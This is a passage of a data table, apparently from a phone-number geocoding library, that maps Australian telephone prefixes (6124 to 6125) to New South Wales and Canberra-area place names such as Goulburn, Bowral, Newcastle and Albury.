'61248445':{'en': 'Bungonia'},
'61248446':{'en': 'Breadalbane'},
'61248447':{'en': 'Bungonia'},
'61248448':{'en': 'Breadalbane'},
'61248449':{'en': 'Breadalbane'},
'6124845':{'en': 'Gunning'},
'61248450':{'en': 'Bevendale'},
'61248455':{'en': 'Bevendale'},
'61248459':{'en': 'Nerriga'},
'6124846':{'en': 'Reidsdale'},
'6124847':{'en': 'Gundillion'},
'6124848':{'en': 'Bungonia'},
'61248480':{'en': 'Breadalbane'},
'61248481':{'en': 'Woodhouselee'},
'61248482':{'en': 'Woodhouselee'},
'61248483':{'en': 'Woodhouselee'},
'6124849':{'en': 'Tarago'},
'61248500':{'en': 'Braidwood'},
'61248501':{'en': 'Breadalbane'},
'61248502':{'en': 'Bungonia'},
'61248503':{'en': 'Goulburn'},
'61248504':{'en': 'Gundillion'},
'61248505':{'en': 'Gunning'},
'61248506':{'en': 'Nerriga'},
'61248507':{'en': 'Reidsdale'},
'61248508':{'en': 'Tarago'},
'61248509':{'en': 'Woodhouselee'},
'61248510':{'en': 'Golspie'},
'61248511':{'en': 'Marulan'},
'61248512':{'en': 'Taralga'},
'61248513':{'en': 'Wombeyan Caves'},
'61248514':{'en': 'Bowral'},
'61248515':{'en': 'Bowral'},
'61248516':{'en': 'Bundanoon'},
'61248517':{'en': 'Bungonia'},
'61248518':{'en': 'Robertson'},
'61248519':{'en': 'Yerrinbool'},
'61248526':{'en': 'Braidwood'},
'61248527':{'en': 'Breadalbane'},
'61248528':{'en': 'Gundillion'},
'61248529':{'en': 'Goulburn'},
'61248530':{'en': 'Gundillion'},
'61248531':{'en': 'Gunning'},
'61248532':{'en': 'Goulburn'},
'61248533':{'en': 'Goulburn'},
'61248534':{'en': 'Goulburn'},
'61248535':{'en': 'Goulburn'},
'61248536':{'en': 'Goulburn'},
'61248537':{'en': 'Marulan'},
'61248538':{'en': 'Bowral'},
'61248539':{'en': 'Bowral'},
'61248540':{'en': 'Bowral'},
'61248541':{'en': 'Yerrinbool'},
'61248542':{'en': 'Goulburn'},
'61248543':{'en': 'Goulburn'},
'61248544':{'en': 'Bowral'},
'61248545':{'en': 'Binda'},
'61248546':{'en': 'Binda'},
'61248547':{'en': 'Golspie'},
'61248548':{'en': 'Golspie'},
'61248549':{'en': 'Wombeyan Caves'},
'61248550':{'en': 'Goulburn'},
'61248551':{'en': 'Goulburn'},
'61248552':{'en': 'Bowral'},
'61248553':{'en': 'Bowral'},
'61248554':{'en': 'Bundanoon'},
'61248555':{'en': 'Bundanoon'},
'61248556':{'en': 'Paddys River'},
'61248557':{'en': 'Paddys River'},
'61248558':{'en': 'Robertson'},
'61248559':{'en': 'Robertson'},
'61248560':{'en': 'Yerrinbool'},
'61248561':{'en': 'Yerrinbool'},
'61248562':{'en': 'Bevendale'},
'61248563':{'en': 'Bevendale'},
'61248564':{'en': 'Braidwood'},
'61248565':{'en': 'Braidwood'},
'61248566':{'en': 'Breadalbane'},
'61248567':{'en': 'Breadalbane'},
'61248568':{'en': 'Goulburn'},
'61248569':{'en': 'Goulburn'},
'61248570':{'en': 'Gunning'},
'61248571':{'en': 'Gunning'},
'61248572':{'en': 'Reidsdale'},
'61248573':{'en': 'Reidsdale'},
'61248574':{'en': 'Bowral'},
'61248575':{'en': 'Goulburn'},
'61248576':{'en': 'Goulburn'},
'61248577':{'en': 'Goulburn'},
'61248578':{'en': 'Wombeyan Caves'},
'61248579':{'en': 'Wombeyan Caves'},
'61248580':{'en': 'Bowral'},
'61248581':{'en': 'Bowral'},
'61248582':{'en': 'Tarago'},
'61248583':{'en': 'Tarago'},
'61248584':{'en': 'Woodhouselee'},
'61248585':{'en': 'Woodhouselee'},
'61248586':{'en': 'Marulan'},
'61248587':{'en': 'Marulan'},
'61248588':{'en': 'Taralga'},
'61248589':{'en': 'Taralga'},
'61248590':{'en': 'Barrallier'},
'61248591':{'en': 'Barrallier'},
'61248592':{'en': 'Crookwell'},
'61248593':{'en': 'Crookwell'},
'61248594':{'en': 'Lost River'},
'61248595':{'en': 'Lost River'},
'61248596':{'en': 'Rugby'},
'61248597':{'en': 'Rugby'},
'61248598':{'en': 'Tuena'},
'61248599':{'en': 'Tuena'},
'61248600':{'en': 'Bowral'},
'61248601':{'en': 'Bowral'},
'61248602':{'en': 'Bowral'},
'61248603':{'en': 'Bowral'},
'61248604':{'en': 'Bowral'},
'61248605':{'en': 'Bundanoon'},
'61248606':{'en': 'Paddys River'},
'61248607':{'en': 'Robertson'},
'61248608':{'en': 'Yerrinbool'},
'61248609':{'en': 'Barrallier'},
'6124861':{'en': 'Bowral'},
'6124862':{'en': 'Bowral'},
'61248630':{'en': 'Bungonia'},
'61248631':{'en': 'Bungonia'},
'61248632':{'en': 'Nerriga'},
'61248633':{'en': 'Nerriga'},
'61248634':{'en': 'Bevendale'},
'61248635':{'en': 'Bowral'},
'61248636':{'en': 'Crookwell'},
'61248637':{'en': 'Lost River'},
'61248638':{'en': 'Bungonia'},
'61248639':{'en': 'Goulburn'},
'61248640':{'en': 'Goulburn'},
'61248641':{'en': 'Barrallier'},
'61248642':{'en': 'Tarago'},
'61248643':{'en': 'Binda'},
'61248644':{'en': 'Marulan'},
'61248645':{'en': 'Woodhouselee'},
'61248646':{'en': 'Bundanoon'},
'61248647':{'en': 'Breadalbane'},
'61248648':{'en': 'Golspie'},
'61248649':{'en': 'Binda'},
'61248651':{'en': 'Goulburn'},
'61248652':{'en': 'Wombeyan Caves'},
'61248653':{'en': 'Nerriga'},
'61248654':{'en': 'Tuena'},
'61248655':{'en': 'Rugby'},
'61248656':{'en': 'Robertson'},
'61248657':{'en': 'Braidwood'},
'61248658':{'en': 'Reidsdale'},
'61248661':{'en': 'Paddys River'},
'61248662':{'en': 'Yerrinbool'},
'61248663':{'en': 'Taralga'},
'61248664':{'en': 'Gundillion'},
'61248665':{'en': 'Gunning'},
'61248666':{'en': 'Bevendale'},
'61248667':{'en': 'Bowral'},
'61248668':{'en': 'Crookwell'},
'61248671':{'en': 'Lost River'},
'61248672':{'en': 'Bungonia'},
'61248673':{'en': 'Barrallier'},
'61248674':{'en': 'Tarago'},
'61248675':{'en': 'Binda'},
'61248676':{'en': 'Marulan'},
'61248677':{'en': 'Woodhouselee'},
'61248678':{'en': 'Bundanoon'},
'61248679':{'en': 'Binda'},
'6124868':{'en': 'Bowral'},
'6124869':{'en': 'Bowral'},
'61248700':{'en': 'Barrallier'},
'61248701':{'en': 'Bowral'},
'61248702':{'en': 'Bundanoon'},
'61248703':{'en': 'Paddys River'},
'61248704':{'en': 'Robertson'},
'61248705':{'en': 'Yerrinbool'},
'61248706':{'en': 'Binda'},
'61248707':{'en': 'Crookwell'},
'61248708':{'en': 'Lost River'},
'61248709':{'en': 'Rugby'},
'6124871':{'en': 'Bowral'},
'6124872':{'en': 'Bowral'},
'61248730':{'en': 'Tuena'},
'61248731':{'en': 'Bevendale'},
'61248732':{'en': 'Braidwood'},
'61248733':{'en': 'Breadalbane'},
'61248734':{'en': 'Bungonia'},
'61248735':{'en': 'Goulburn'},
'61248736':{'en': 'Gundillion'},
'61248737':{'en': 'Gunning'},
'61248738':{'en': 'Nerriga'},
'61248739':{'en': 'Reidsdale'},
'61248740':{'en': 'Tarago'},
'61248741':{'en': 'Woodhouselee'},
'61248742':{'en': 'Golspie'},
'61248743':{'en': 'Marulan'},
'61248744':{'en': 'Taralga'},
'61248745':{'en': 'Wombeyan Caves'},
'61248746':{'en': 'Breadalbane'},
'61248747':{'en': 'Golspie'},
'61248748':{'en': 'Goulburn'},
'61248751':{'en': 'Wombeyan Caves'},
'61248752':{'en': 'Nerriga'},
'61248753':{'en': 'Tuena'},
'61248754':{'en': 'Rugby'},
'61248755':{'en': 'Robertson'},
'61248756':{'en': 'Braidwood'},
'61248757':{'en': 'Reidsdale'},
'61248758':{'en': 'Paddys River'},
'61248761':{'en': 'Yerrinbool'},
'61248762':{'en': 'Taralga'},
'61248763':{'en': 'Gundillion'},
'61248764':{'en': 'Gunning'},
'61248765':{'en': 'Robertson'},
'61248766':{'en': 'Barrallier'},
'61248767':{'en': 'Braidwood'},
'61248768':{'en': 'Reidsdale'},
'61248769':{'en': 'Tarago'},
'6124877':{'en': 'Bowral'},
'6124878':{'en': 'Bowral'},
'61248790':{'en': 'Gundillion'},
'61248791':{'en': 'Gundillion'},
'61248792':{'en': 'Paddys River'},
'61248793':{'en': 'Yerrinbool'},
'61248794':{'en': 'Bundanoon'},
'61248795':{'en': 'Binda'},
'61248796':{'en': 'Marulan'},
'61248797':{'en': 'Taralga'},
'61248798':{'en': 'Golspie'},
'61248799':{'en': 'Bowral'},
'61248801':{'en': 'Bowral'},
'61248802':{'en': 'Gundillion'},
'61248803':{'en': 'Crookwell'},
'61248804':{'en': 'Lost River'},
'61248805':{'en': 'Wombeyan Caves'},
'61248806':{'en': 'Nerriga'},
'61248807':{'en': 'Tuena'},
'61248808':{'en': 'Rugby'},
'61248809':{'en': 'Braidwood'},
'6124883':{'en': 'Bundanoon'},
'61248839':{'en': 'Yerrinbool'},
'6124884':{'en': 'Bundanoon'},
'61248840':{'en': 'Paddys River'},
'61248841':{'en': 'Paddys River'},
'61248842':{'en': 'Paddys River'},
'61248843':{'en': 'Paddys River'},
'6124885':{'en': 'Robertson'},
'6124886':{'en': 'Robertson'},
'6124887':{'en': 'Robertson'},
'6124888':{'en': 'Robertson'},
'61248889':{'en': 'Barrallier'},
'6124889':{'en': 'Yerrinbool'},
'61248900':{'en': 'Tuena'},
'61248901':{'en': 'Goulburn'},
'61248997':{'en': 'Bowral'},
'61248998':{'en': 'Goulburn'},
'61248999':{'en': 'Goulburn'},
'612490':{'en': 'Newcastle'},
'6124901':{'en': 'Nelson Bay'},
'61249051':{'en': 'Maitland'},
'61249052':{'en': 'Maitland'},
'61249053':{'en': 'Maitland'},
'61249054':{'en': 'Nelson Bay'},
'61249055':{'en': 'Nelson Bay'},
'61249056':{'en': 'Nelson Bay'},
'61249057':{'en': 'Bandon Grove'},
'61249058':{'en': 'Branxton'},
'61249059':{'en': 'Bulahdelah'},
'61249090':{'en': 'East Gresford'},
'61249091':{'en': 'East Gresford'},
'61249092':{'en': 'East Gresford'},
'61249093':{'en': 'Maitland'},
'61249094':{'en': 'Maitland'},
'61249095':{'en': 'Branxton'},
'61249096':{'en': 'Branxton'},
'61249097':{'en': 'Cessnock'},
'61249098':{'en': 'Cessnock'},
'61249099':{'en': 'Mulbring'},
'6124910':{'en': 'Newcastle'},
'6124911':{'en': 'Newcastle'},
'61249120':{'en': 'Cessnock'},
'61249121':{'en': 'Clarence Town'},
'61249122':{'en': 'Dungog'},
'61249123':{'en': 'East Gresford'},
'61249124':{'en': 'Eccleston'},
'61249125':{'en': 'Karuah'},
'61249126':{'en': 'Laguna'},
'61249127':{'en': 'Mulbring'},
'61249128':{'en': 'Nelson Bay'},
'61249129':{'en': 'Raymond Terrace'},
'61249130':{'en': 'Stroud'},
'61249131':{'en': 'Swansea'},
'61249132':{'en': 'Tea Gardens'},
'61249133':{'en': 'Wards River'},
'61249134':{'en': 'Wootton'},
'61249135':{'en': 'Newcastle'},
'61249136':{'en': 'Newcastle'},
'61249137':{'en': 'Newcastle'},
'61249138':{'en': 'Newcastle'},
'61249139':{'en': 'Newcastle'},
'6124914':{'en': 'Newcastle'},
'61249149':{'en': 'Maitland'},
'6124915':{'en': 'Newcastle'},
'61249160':{'en': 'Nelson Bay'},
'61249161':{'en': 'Nelson Bay'},
'61249162':{'en': 'Nelson Bay'},
'61249163':{'en': 'Nelson Bay'},
'61249164':{'en': 'Nelson Bay'},
'61249165':{'en': 'Karuah'},
'61249166':{'en': 'Karuah'},
'61249167':{'en': 'Bulahdelah'},
'61249168':{'en': 'Bulahdelah'},
'61249169':{'en': 'Wootton'},
'61249170':{'en': 'Newcastle'},
'61249171':{'en': 'Mulbring'},
'61249172':{'en': 'Nelson Bay'},
'61249173':{'en': 'Newcastle'},
'61249174':{'en': 'Raymond Terrace'},
'61249175':{'en': 'Stroud'},
'61249176':{'en': 'Swansea'},
'61249177':{'en': 'Tea Gardens'},
'61249178':{'en': 'Wards River'},
'61249179':{'en': 'Wootton'},
'6124918':{'en': 'Newcastle'},
'6124919':{'en': 'Nelson Bay'},
'61249197':{'en': 'Tea Gardens'},
'61249198':{'en': 'Tea Gardens'},
'61249199':{'en': 'Tea Gardens'},
'612492':{'en': 'Newcastle'},
'612493':{'en': 'Maitland'},
'61249315':{'en': 'Eccleston'},
'61249317':{'en': 'Eccleston'},
'6124935':{'en': 'Newcastle'},
'61249380':{'en': 'Mulbring'},
'61249381':{'en': 'Branxton'},
'61249382':{'en': 'Branxton'},
'61249383':{'en': 'Branxton'},
'61249384':{'en': 'East Gresford'},
'61249385':{'en': 'East Gresford'},
'61249386':{'en': 'Branxton'},
'61249387':{'en': 'Branxton'},
'61249388':{'en': 'East Gresford'},
'61249389':{'en': 'East Gresford'},
'61249390':{'en': 'Branxton'},
'61249396':{'en': 'Laguna'},
'61249397':{'en': 'Mulbring'},
'61249398':{'en': 'East Gresford'},
'61249399':{'en': 'Eccleston'},
'612494':{'en': 'Newcastle'},
'612495':{'en': 'Newcastle'},
'612496':{'en': 'Newcastle'},
'612497':{'en': 'Swansea'},
'6124974':{'en': 'Newcastle'},
'6124978':{'en': 'Newcastle'},
'6124979':{'en': 'Newcastle'},
'61249800':{'en': 'Raymond Terrace'},
'61249801':{'en': 'Swansea'},
'61249802':{'en': 'Swansea'},
'61249803':{'en': 'Raymond Terrace'},
'61249804':{'en': 'Nelson Bay'},
'61249805':{'en': 'Nelson Bay'},
'61249806':{'en': 'Nelson Bay'},
'61249807':{'en': 'Raymond Terrace'},
'61249808':{'en': 'Bulahdelah'},
'61249809':{'en': 'Swansea'},
'6124981':{'en': 'Nelson Bay'},
'6124982':{'en': 'Nelson Bay'},
'6124983':{'en': 'Raymond Terrace'},
'6124984':{'en': 'Nelson Bay'},
'6124985':{'en': 'Newcastle'},
'6124986':{'en': 'Swansea'},
'6124987':{'en': 'Raymond Terrace'},
'61249870':{'en': 'Karuah'},
'61249879':{'en': 'Bulahdelah'},
'6124988':{'en': 'Raymond Terrace'},
'6124989':{'en': 'Newcastle'},
'6124990':{'en': 'Cessnock'},
'6124991':{'en': 'Cessnock'},
'6124992':{'en': 'Dungog'},
'6124993':{'en': 'Cessnock'},
'6124994':{'en': 'Stroud'},
'61249946':{'en': 'Wards River'},
'61249947':{'en': 'Wards River'},
'61249948':{'en': 'Wards River'},
'6124995':{'en': 'Bandon Grove'},
'61249956':{'en': 'Dungog'},
'61249957':{'en': 'Dungog'},
'6124996':{'en': 'Clarence Town'},
'61249970':{'en': 'Tea Gardens'},
'61249971':{'en': 'Tea Gardens'},
'61249972':{'en': 'Tea Gardens'},
'61249973':{'en': 'Karuah'},
'61249974':{'en': 'Bulahdelah'},
'61249975':{'en': 'Karuah'},
'61249976':{'en': 'Bulahdelah'},
'61249977':{'en': 'Wootton'},
'61249978':{'en': 'Wootton'},
'61249979':{'en': 'Tea Gardens'},
'6124998':{'en': 'Cessnock'},
'61249988':{'en': 'Laguna'},
'61249989':{'en': 'Laguna'},
'61249990':{'en': 'Clarence Town'},
'61249991':{'en': 'Dungog'},
'61249992':{'en': 'Dungog'},
'61249993':{'en': 'Bandon Grove'},
'61249994':{'en': 'Wards River'},
'61249995':{'en': 'Stroud'},
'61249996':{'en': 'Maitland'},
'61249997':{'en': 'Wootton'},
'61249998':{'en': 'Karuah'},
'61249999':{'en': 'Tea Gardens'},
'61250000':{'en': 'Albury'},
'61250001':{'en': 'Albury'},
'61250002':{'en': 'Balldale'},
'61250003':{'en': 'Barnawartha'},
'61250004':{'en': 'Coppabella'},
'61250005':{'en': 'Corowa'},
'61250006':{'en': 'Corryong'},
'61250007':{'en': 'Cudgewa'},
'61250008':{'en': 'Culcairn'},
'61250009':{'en': 'Dartmouth'},
'61250010':{'en': 'Eskdale'},
'61250011':{'en': 'Gerogery'},
'61250012':{'en': 'Holbrook'},
'61250013':{'en': 'Howlong'},
'61250014':{'en': 'Koetong'},
'61250015':{'en': 'Leicester Park'},
'61250016':{'en': 'Little Billabong'},
'61250017':{'en': 'Nariel'},
'61250018':{'en': 'Oaklands'},
'61250019':{'en': 'Ournie'},
'61250020':{'en': 'Rand'},
'61250021':{'en': 'Rennie'},
'61250022':{'en': 'Talgarno'},
'61250023':{'en': 'Tallangatta'},
'61250024':{'en': 'Tallangatta Valley'},
'61250025':{'en': 'Talmalmo'},
'61250026':{'en': 'Walla Walla'},
'61250027':{'en': 'Walwa'},
'61250028':{'en': 'Yackandandah'},
'61250029':{'en': 'Albury'},
'61250030':{'en': 'Balldale'},
'61250031':{'en': 'Barnawartha'},
'61250032':{'en': 'Coppabella'},
'61250033':{'en': 'Corowa'},
'61250034':{'en': 'Corryong'},
'61250035':{'en': 'Cudgewa'},
'61250036':{'en': 'Culcairn'},
'61250037':{'en': 'Dartmouth'},
'61250038':{'en': 'Eskdale'},
'61250039':{'en': 'Gerogery'},
'61250040':{'en': 'Holbrook'},
'61250041':{'en': 'Howlong'},
'61250042':{'en': 'Koetong'},
'61250043':{'en': 'Leicester Park'},
'61250044':{'en': 'Little Billabong'},
'61250045':{'en': 'Nariel'},
'61250046':{'en': 'Oaklands'},
'61250047':{'en': 'Ournie'},
'61250048':{'en': 'Rand'},
'61250049':{'en': 'Rennie'},
'61250050':{'en': 'Talgarno'},
'61250051':{'en': 'Tallangatta'},
'61250052':{'en': 'Tallangatta Valley'},
'61250053':{'en': 'Talmalmo'},
'61250054':{'en': 'Walla Walla'},
'61250055':{'en': 'Walwa'},
'61250056':{'en': 'Yackandandah'},
'61250057':{'en': 'Albury'},
'61250058':{'en': 'Balldale'},
'61250059':{'en': 'Barnawartha'},
'61250060':{'en': 'Coppabella'},
'61250061':{'en': 'Corowa'},
'61250062':{'en': 'Corryong'},
'61250063':{'en': 'Cudgewa'},
'61250064':{'en': 'Culcairn'},
'61250065':{'en': 'Dartmouth'},
'61250066':{'en': 'Eskdale'},
'61250067':{'en': 'Gerogery'},
'61250068':{'en': 'Holbrook'},
'61250069':{'en': 'Howlong'},
'61250070':{'en': 'Koetong'},
'61250071':{'en': 'Leicester Park'},
'61250072':{'en': 'Little Billabong'},
'61250073':{'en': 'Nariel'},
'61250074':{'en': 'Oaklands'},
'61250075':{'en': 'Ournie'},
'61250076':{'en': 'Rand'},
'61250077':{'en': 'Rennie'},
'61250078':{'en': 'Talgarno'},
'61250079':{'en': 'Tallangatta'},
'61250080':{'en': 'Tallangatta Valley'},
'61250081':{'en': 'Talmalmo'},
'61250082':{'en': 'Walla Walla'},
'61250083':{'en': 'Walwa'},
'61250084':{'en': 'Yackandandah'},
'61250085':{'en': 'Albury'},
'61250086':{'en': 'Albury'},
'61250087':{'en': 'Albury'},
'61250088':{'en': 'Albury'},
'61250089':{'en': 'Albury'},
'61250106':{'en': 'Balldale'},
'61250107':{'en': 'Barnawartha'},
'61250108':{'en': 'Coppabella'},
'61250109':{'en': 'Corowa'},
'61250110':{'en': 'Corryong'},
'61250111':{'en': 'Cudgewa'},
'61250112':{'en': 'Culcairn'},
'61250113':{'en': 'Albury'},
'61250114':{'en': 'Balldale'},
'61250115':{'en': 'Barnawartha'},
'61250116':{'en': 'Coppabella'},
'61250117':{'en': 'Corowa'},
'61250118':{'en': 'Corryong'},
'61250119':{'en': 'Cudgewa'},
'61250120':{'en': 'Culcairn'},
'61250121':{'en': 'Dartmouth'},
'61250122':{'en': 'Eskdale'},
'61250123':{'en': 'Gerogery'},
'61250124':{'en': 'Holbrook'},
'61250125':{'en': 'Howlong'},
'61250126':{'en': 'Koetong'},
'61250127':{'en': 'Leicester Park'},
'61250128':{'en': 'Little Billabong'},
'61250129':{'en': 'Nariel'},
'61250130':{'en': 'Oaklands'},
'61250131':{'en': 'Ournie'},
'61250132':{'en': 'Rand'},
'61250133':{'en': 'Rennie'},
'61250134':{'en': 'Talgarno'},
'61250135':{'en': 'Tallangatta'},
'61250136':{'en': 'Tallangatta Valley'},
'61250137':{'en': 'Talmalmo'},
'61250138':{'en': 'Walla Walla'},
'61250139':{'en': 'Walwa'},
'61250140':{'en': 'Yackandandah'},
'61250141':{'en': 'Dartmouth'},
'61250142':{'en': 'Eskdale'},
'61250143':{'en': 'Gerogery'},
'61250144':{'en': 'Holbrook'},
'61250145':{'en': 'Howlong'},
'61250146':{'en': 'Koetong'},
'61250147':{'en': 'Leicester Park'},
'61250148':{'en': 'Little Billabong'},
'61250149':{'en': 'Nariel'},
'61250150':{'en': 'Oaklands'},
'61250151':{'en': 'Ournie'},
'61250152':{'en': 'Rand'},
'61250153':{'en': 'Rennie'},
'61250154':{'en': 'Talgarno'},
'61250155':{'en': 'Tallangatta'},
'61250156':{'en': 'Tallangatta Valley'},
'61250157':{'en': 'Talmalmo'},
'61250158':{'en': 'Walla Walla'},
'61250159':{'en': 'Walwa'},
'61250160':{'en': 'Yackandandah'},
'61250161':{'en': 'Albury'},
'61250162':{'en': 'Balldale'},
'61250163':{'en': 'Barnawartha'},
'61250164':{'en': 'Coppabella'},
'61250165':{'en': 'Corowa'},
'61250166':{'en': 'Corryong'},
'61250167':{'en': 'Cudgewa'},
'61250168':{'en': 'Culcairn'},
'61250169':{'en': 'Dartmouth'},
'61250170':{'en': 'Eskdale'},
'61250171':{'en': 'Gerogery'},
'61250172':{'en': 'Holbrook'},
'61250173':{'en': 'Howlong'},
'61250174':{'en': 'Koetong'},
'61250175':{'en': 'Leicester Park'},
'61250176':{'en': 'Little Billabong'},
'61250177':{'en': 'Nariel'},
'61250178':{'en': 'Oaklands'},
'61250179':{'en': 'Ournie'},
'61250180':{'en': 'Rand'},
'61250181':{'en': 'Rennie'},
'61250182':{'en': 'Talgarno'},
'61250183':{'en': 'Tallangatta'},
'61250184':{'en': 'Tallangatta Valley'},
'61250185':{'en': 'Talmalmo'},
'61250186':{'en': 'Walla Walla'},
'61250187':{'en': 'Walwa'},
'61250188':{'en': 'Yackandandah'},
'61250189':{'en': 'Albury'},
'61250190':{'en': 'Balldale'},
'61250191':{'en': 'Barnawartha'},
'61250192':{'en': 'Coppabella'},
'61250193':{'en': 'Corowa'},
'61250194':{'en': 'Corryong'},
'61250195':{'en': 'Cudgewa'},
'61250196':{'en': 'Culcairn'},
'61250197':{'en': 'Dartmouth'},
'61250198':{'en': 'Eskdale'},
'61250199':{'en': 'Gerogery'},
'61250200':{'en': 'Holbrook'},
'61250201':{'en': 'Howlong'},
'61250202':{'en': 'Koetong'},
'61250203':{'en': 'Leicester Park'},
'61250204':{'en': 'Little Billabong'},
'61250205':{'en': 'Nariel'},
'61250206':{'en': 'Oaklands'},
'61250207':{'en': 'Ournie'},
'61250208':{'en': 'Rand'},
'61250209':{'en': 'Rennie'},
'61250210':{'en': 'Talgarno'},
'61250211':{'en': 'Tallangatta'},
'61250212':{'en': 'Tallangatta Valley'},
'61250213':{'en': 'Talmalmo'},
'61250214':{'en': 'Walla Walla'},
'61250215':{'en': 'Walwa'},
'61250216':{'en': 'Yackandandah'},
'61250217':{'en': 'Albury'},
'61250218':{'en': 'Balldale'},
'61250219':{'en': 'Barnawartha'},
'61250220':{'en': 'Coppabella'},
'61250221':{'en': 'Corowa'},
'61250222':{'en': 'Corryong'},
'61250223':{'en': 'Cudgewa'},
'61250224':{'en': 'Culcairn'},
'61250225':{'en': 'Dartmouth'},
'61250226':{'en': 'Eskdale'},
'61250227':{'en': 'Gerogery'},
'61250228':{'en': 'Holbrook'},
'61250229':{'en': 'Howlong'},
'61250230':{'en': 'Koetong'},
'61250231':{'en': 'Leicester Park'},
'61250232':{'en': 'Little Billabong'},
'61250233':{'en': 'Nariel'},
'61250234':{'en': 'Oaklands'},
'61250235':{'en': 'Ournie'},
'61250236':{'en': 'Rand'},
'61250237':{'en': 'Rennie'},
'61250238':{'en': 'Talgarno'},
'61250239':{'en': 'Tallangatta'},
'61250240':{'en': 'Tallangatta Valley'},
'61250241':{'en': 'Talmalmo'},
'61250242':{'en': 'Walla Walla'},
'61250243':{'en': 'Walwa'},
'61250244':{'en': 'Yackandandah'},
'612510':{'en': 'Canberra'},
'61251010':{'en': 'Anembo'},
'61251011':{'en': 'Binalong'},
'61251012':{'en': 'Bungendore'},
'61251013':{'en': 'Burrinjuck'},
'61251015':{'en': 'Captains Flat'},
'61251016':{'en': 'Cavan'},
'61251017':{'en': 'Gearys Gap'},
'61251018':{'en': 'Gundaroo'},
'61251019':{'en': 'Michelago'},
'61251020':{'en': 'Rye Park'},
'61251021':{'en': 'The Mullion'},
'61251022':{'en': 'Uriarra Forest'},
'61251023':{'en': 'Yass'},
'61251024':{'en': 'Anembo'},
'61251025':{'en': 'Binalong'},
'61251026':{'en': 'Bungendore'},
'61251027':{'en': 'Burrinjuck'},
'61251029':{'en': 'Captains Flat'},
'61251070':{'en': 'Cavan'},
'61251071':{'en': 'Gearys Gap'},
'61251072':{'en': 'Gundaroo'},
'61251073':{'en': 'Michelago'},
'61251074':{'en': 'Rye Park'},
'61251075':{'en': 'The Mullion'},
'61251076':{'en': 'Uriarra Forest'},
'61251077':{'en': 'Yass'},
'61251078':{'en': 'Anembo'},
'61251079':{'en': 'Binalong'},
'6125110':{'en': 'Canberra'},
'61251100':{'en': 'Bungendore'},
'61251101':{'en': 'Burrinjuck'},
'6125111':{'en': 'Canberra'},
'61251120':{'en': 'Canberra'},
'61251121':{'en': 'Canberra'},
'61251122':{'en': 'Canberra'},
'61251123':{'en': 'Captains Flat'},
'61251124':{'en': 'Cavan'},
'61251125':{'en': 'Gearys Gap'},
'61251126':{'en': 'Anembo'},
'61251127':{'en': 'Binalong'},
'61251128':{'en': 'Bungendore'},
'61251129':{'en': 'Burrinjuck'},
'61251130':{'en': 'Canberra'},
'61251131':{'en': 'Captains Flat'},
'61251132':{'en': 'Cavan'},
'61251133':{'en': 'Gearys Gap'},
'61251134':{'en': 'Gundaroo'},
'61251135':{'en': 'Michelago'},
'61251136':{'en': 'Rye Park'},
'61251137':{'en': 'The Mullion'},
'61251138':{'en': 'Uriarra Forest'},
'61251139':{'en': 'Yass'},
'6125114':{'en': 'Canberra'},
'6125115':{'en': 'Canberra'},
'61251160':{'en': 'Canberra'},
'61251161':{'en': 'Canberra'},
'61251162':{'en': 'Canberra'},
'61251163':{'en': 'Canberra'},
'61251164':{'en': 'Canberra'},
'61251165':{'en': 'Bungendore'},
'61251166':{'en': 'Bungendore'},
'61251167':{'en': 'Gundaroo'},
'61251168':{'en': 'Michelago'},
'61251169':{'en': 'Rye Park'},
'61251170':{'en': 'The Mullion'},
'61251171':{'en': 'Uriarra Forest'},
'61251172':{'en': 'Yass'},
'61251173':{'en': 'Canberra'},
'61251174':{'en': 'Canberra'},
'61251175':{'en': 'Anembo'},
'61251176':{'en': 'Binalong'},
'61251177':{'en': 'Bungendore'},
'61251178':{'en': 'Burrinjuck'},
'61251179':{'en': 'Canberra'},
'61251180':{'en': 'Captains Flat'},
'61251181':{'en': 'Cavan'},
'61251182':{'en': 'Gearys Gap'},
'61251183':{'en': 'Gundaroo'},
'61251184':{'en': 'Michelago'},
'61251185':{'en': 'Rye Park'},
'61251186':{'en': 'The Mullion'},
'61251187':{'en': 'Uriarra Forest'},
'61251188':{'en': 'Yass'},
'61251189':{'en': 'Anembo'},
'61251190':{'en': 'Binalong'},
'61251191':{'en': 'Bungendore'},
'61251192':{'en': 'Burrinjuck'},
'61251193':{'en': 'Canberra'},
'61251194':{'en': 'Captains Flat'},
'61251195':{'en': 'Cavan'},
'61251196':{'en': 'Gearys Gap'},
'61251197':{'en': 'Gundaroo'},
'61251198':{'en': 'Michelago'},
'61251199':{'en': 'Rye Park'},
'61251200':{'en': 'The Mullion'},
'61251201':{'en': 'Uriarra Forest'},
'61251202':{'en': 'Yass'},
'61251203':{'en': 'Anembo'},
'61251204':{'en': 'Binalong'},
'61251205':{'en': 'Bungendore'},
'61251206':{'en': 'Burrinjuck'},
'61251207':{'en': 'Canberra'},
'61251208':{'en': 'Captains Flat'},
'61251209':{'en': 'Cavan'},
'61251210':{'en': 'Gearys Gap'},
'61251211':{'en': 'Gundaroo'},
'61251212':{'en': 'Michelago'},
'61251213':{'en': 'Rye Park'},
'61251214':{'en': 'The Mullion'},
'61251215':{'en': 'Uriarra Forest'},
'61251216':{'en': 'Yass'},
'61251217':{'en': 'Anembo'},
'61251218':{'en': 'Binalong'},
'61251219':{'en': 'Bungendore'},
'6125122':{'en': 'Canberra'},
'6125123':{'en': 'Canberra'},
'6125124':{'en': 'Canberra'},
'6125125':{'en': 'Canberra'},
'6125126':{'en': 'Canberra'},
'6125127':{'en': 'Canberra'},
'61251280':{'en': 'Burrinjuck'},
'61251281':{'en': 'Canberra'},
'61251282':{'en': 'Captains Flat'},
'61251283':{'en': 'Cavan'},
'61251284':{'en': 'Gearys Gap'},
'61251285':{'en': 'Gundaroo'},
'61251286':{'en': 'Michelago'},
'61251287':{'en': 'Rye Park'},
'61251288':{'en': 'The Mullion'},
'61251289':{'en': 'Uriarra Forest'},
'61251290':{'en': 'Yass'},
'61251291':{'en': 'Canberra'},
'612530000':{'en': 'Leadville'},
'612530001':{'en': 'Leadville'},
'612530002':{'en': 'Leadville'},
'612530003':{'en': 'Leadville'},
'612530004':{'en': 'Leadville/Baldry/Bathurst/Birriwa'},
'612530005':{'en': 'Leadville/Baldry/Bathurst/Birriwa'},
'612530006':{'en': 'Leadville'},
'612530007':{'en': 'Baldry'},
'612530008':{'en': 'Bathurst'},
'612530009':{'en': 'Birriwa'},
'612530010':{'en': 'Lue'},
'612530011':{'en': 'Lue'},
'612530012':{'en': 'Lue'},
'612530013':{'en': 'Lue'},
